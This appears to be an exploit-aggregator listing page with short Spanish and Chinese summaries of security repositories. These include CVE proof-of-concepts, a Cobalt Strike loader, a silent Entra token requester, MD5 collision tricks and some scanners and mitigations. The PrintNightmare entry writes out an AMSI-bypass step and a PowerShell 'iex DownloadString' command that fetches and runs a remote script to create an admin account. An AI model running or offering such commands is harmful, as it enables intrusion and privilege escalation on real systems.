CVE-2021-3560-PolkitPrivilegeEsclation

CVE-2021-3560-Polkit-Privilege-Esclation PoC Investigación original por Kevin Backhouse Esto es solo un script Bash de PoC que automatiza los pasos de explotación mencionados en el blog de Kevin Backhouse. Lee su publicación sobre esta vulnerabilidad:...

Project-CVE-2026-65351

PAYLOAD DE BOMBA DE NAVEGADOR / AGOTAMIENTO DE RECURSOS Una descripción general y análisis del script de prueba de estrés para navegadores desarrollado por Xer0TLabs & Persephrak Decentralized Syndicate. ADVERTENCIA: Solo para fines educativos, de investigación y de pruebas autorizadas. Ejecutar...

CVE-2023-26258-ArcServe

太长不看； 如果你在网络中，你可以使用 ArcServeRadar.py 扫描默认配置的实例。我尝试将其移植到 C 但没成功，如果你知道怎么做，欢迎尝试 : root@kitploit: c:\Users\vagrant\Desktoppython ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20 -= ArcServe Finder - @TheXC3LL - MDSec =- Starting to monitor Broadcasting WARNING: Mac address to reach destination not...

CVE-2024-51482-ZoneMinder-v1.37.-1.37.64-SQL-Injection-POC

Inyección SQL Basada en Tiempo en ZoneMinder CVE-2024-51482 📌 Resumen de la Vulnerabilidad ID de CVE: CVE-2024-51482 Aviso: GHSA-qm8h-3xvf-m7j3 Versiones afectadas: ZoneMinder 1.37. hasta incluyendo 1.37.64 Versión parcheada: 1.37.65 📖 Descripción Este repositorio contiene un exploit de prueba de...

Scary_POCs

CVE-2026-48842 - Roundcube Webmail SQL Injection PoC Fil...

freemarker_RCE_struts2_s2-061

freemarkerRCEstruts2s2-061 cve-2020-17530 struts2s2-061 freemarkerRCE script de prueba python freemarkerRCEstruts2s2-061.py...

php_filter_chain_oracle_poc

phpfilterchainoraclepoc Resumen El equipo de Synacktiv publicó un artículo de investigación exhaustivo, PHP Filter Chains: File Read from Error-Based Oracle , inicialmente divulgado en DownUnder CTF 2022. Esta investigación se basó en un desafío de @hashkitten, donde los participantes debían...

CVE-2025-53786

Exploit CVE-2025-53786 Este proyecto proporciona un exploit de prueba de concepto PoC dirigido a una vulnerabilidad crítica en implementaciones híbridas de Microsoft Exchange Server, identificada como CVE-2025-53786. Esta vulnerabilidad permite a un atacante con acceso administrativo a un servido...

cve-2021-1675

cve-2021-1675 禁用AMSI：（复制到PowerShell） https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt 执行 invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' 创建管理员账户 Invoke-Nightmare -DriverName...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 afecta a Apache Tomcat - si es una versión vulnerable y está espectacularmente mal configurado, un atacante puede obtener RCE con un GET y un POST. Más información aquí Este es el script de Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng del reciente informe...

Zero-day-scanning

zeroscan Zeroscan 是一个域控制器漏洞扫描器，当前包含针对 Zerologon CVE-2020-1472、MS-PAR/MS-RPRN 和 SMBv2 签名的检查。 CVE-2020-1472： 使用内置脚本检查 Zerologon CVE-2020-1472，但不会尝试利用目标，它只是一个漏洞扫描器。代码来源于：https://github.com/Anonymous-Family/CVE-2020-1472.git MS-PAR / MS-RPRN： 使用 Impacket 的 rpcdump 的包装器来检查打印服务 MS-PAR 和 MS-RPRN...

EternalBlue-Vulnerability-Scanner

Escáner EternalBlue Una herramienta en Python para escanear dispositivos con SMB habilitado en busca de la vulnerabilidad EternalBlue CVE-2017-0144. Este script verifica si los dispositivos en una red son vulnerables al exploit EternalBlue probando conexiones SMB. ⚡ Características ✅ Escanea una...

CVE-2022-23222

CVE-2022-23222 Haga clic aquí si solo desea compilar y ejecutar el asunto. Lo que sigue es más o menos una traducción del artículo chino, disponible aquí. Usaremos el código del kernel principal para la versión 5.13.0 como referencia. Hay un desajuste entre los tipos de puntero disponibles y la...

FIX-CVE-2024-2961

Script de shell rápido y sencillo para mitigar CVE-2024-2961 en Ubuntu y probablemente otras plataformas ejecuta el script de shell y eso debería ser suficiente. También puede que necesites modificar la ruta para las configuraciones de gconv Matt...

askWAM

askWAM askWAM solicita tokens de acceso de Microsoft Entra de forma silenciosa a través del Administrador de cuentas web de Windows WAM. Se distribuye como un cliente de .NET Framework, un cliente nativo x64 independiente y un Beacon Object File x64 con un adaptador de comandos CNA. Todos los...

follina.py

'Follina': RCE n-day en MS-MSDT de Microsoft Office PoC rápido para replicar la vulnerabilidad RCE 'Follina' de Office con fines de pruebas locales. Al ejecutar el script se generará un archivo de payload clickme.docx o clickme.rtf en tu directorio de trabajo actual y se iniciará un servidor web...

KaynStrike

KaynStrike Un cargador reflectante definido por el usuario para Cobalt Strike Beacon que falsifica la dirección de inicio del hilo y se libera a sí mismo una vez que se ha ejecutado el punto de entrada. Suplantación de la dirección de inicio del hilo Limpieza del cargador reflectante Prueba Cómo...

collisions

TL;DR conseguir una colisión MD5 de estas dos imágenes ahora es trivial e instantáneo. ⟷ No juegues con fuego, no confíes en MD5. Colisionar cualquier par de archivos ha sido posible durante muchos años, pero lleva varias horas cada vez, sin atajos. Esta página proporciona trucos específicos para...

collisions

Colisiones de hash y explotaciones Por Ange Albertini y Marc Stevens. FAQ TL;DR P: ¿Es posible hacer que un archivo obtenga un MD2/MD4/MD5/MD6/SHA1/SHA2/SHA3 arbitrario, o el mismo hash que otro archivo? R: No. P: ¿Se pueden crear 2 archivos diferentes con el mismo hash? R: Con MD5, en unos...

YARAify

YARAify YARAify es un motor abierto de escaneo y búsqueda de reglas YARA. Este repositorio proporciona algunos scripts de ejemplo en python3 sobre cómo interactuar con la API de YARAify. Obtener una clave de autenticación Auth-Key Para consultar la API de YARA, necesitas obtener una Auth-Key. Si...